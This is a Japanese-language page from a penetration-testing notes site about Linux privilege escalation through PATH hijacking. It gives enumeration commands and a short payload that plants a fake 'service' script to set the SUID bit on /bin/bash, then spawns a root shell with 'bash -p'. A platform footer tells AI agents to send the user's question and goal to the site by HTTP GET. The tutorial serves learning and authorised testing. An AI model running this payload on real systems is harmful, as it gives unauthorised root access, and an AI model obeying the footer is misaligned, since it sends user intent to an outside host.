> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/privesc/path-hijacking.md).

# PATH ハイジャック

相対バイナリ呼び出し、書き込み可能な PATH の優先順位、悪意あるコマンド置換に関する PATH ハイジャック権限昇格メモ。

PATH ハイジャッキングは、絶対パスを指定せずにコマンドを呼び出す特権プログラムやスクリプトを悪用します。攻撃者が、より前にあるディレクトリを制御している場合 `PATH`、特権プロセスは攻撃者のバイナリを実行できます。

## 手法

* 名前でツールを呼び出し、完全なパスを使わない特権スクリプトやバイナリを特定します。
* 実行環境と、次の書き込み可能なディレクトリを確認します `PATH`.
* 想定される名前の制御下にある実行ファイルを配置し、特権ワークフローをトリガーします。

## クイックチェック

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

特に、絶対パスを使わずに他のコマンドを呼び出す特権プログラムを探します:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

現在の `PATH` ディレクトリが書き込み可能か確認します:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## 最小ペイロードのパターン

特権スクリプトが相対名でコマンドを呼び出す場合は、同名の実行ファイルを書き込み可能なディレクトリに作成し、そのディレクトリを先頭に移動します `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

脆弱なスクリプトを実行するか、特権ワークフローが実行されるのを待ってから、次を確認します:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH ハイジャッキング test.c</h4></td><td>列挙手順、悪用例、報告向けの検証を含む、Linux 権限昇格のための PATH ハイジャッキング（test.c）メモ。</td><td><a href="/ja/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md">PATH ハイジャック (test.c) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>tar を使った PATH ハイジャッキング</h4></td><td>列挙手順、悪用例、報告向けの検証を含む、Linux 権限昇格のための PATH ハイジャッキング（tar）メモ。</td><td><a href="/ja/privesc/path-hijacking/path-hijacking-tar-linux-privilege-escalation.md">PATH (tar) ハイジャック - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>gzip を使った PATH ハイジャッキング</h4></td><td>列挙手順、悪用例、報告向けの検証を含む、Linux 権限昇格のための PATH ハイジャッキング（gzip）メモ。</td><td><a href="/ja/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md">PATH ハイジャック (gzip) - Linux 権限昇格</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>PATH ハイジャッキング cat</h4></td><td>書き込み可能な PATH ディレクトリと、修飾されていないコマンド呼び出しを利用した、Linux 権限昇格のための PATH ハイジャッキング手法。</td><td><a href="/ja/privesc/path-hijacking/path-hijacking-cat-linux-privilege-escalation.md">PATH ハイジャック（cat）- Linux 権限昇格</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/privesc/path-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
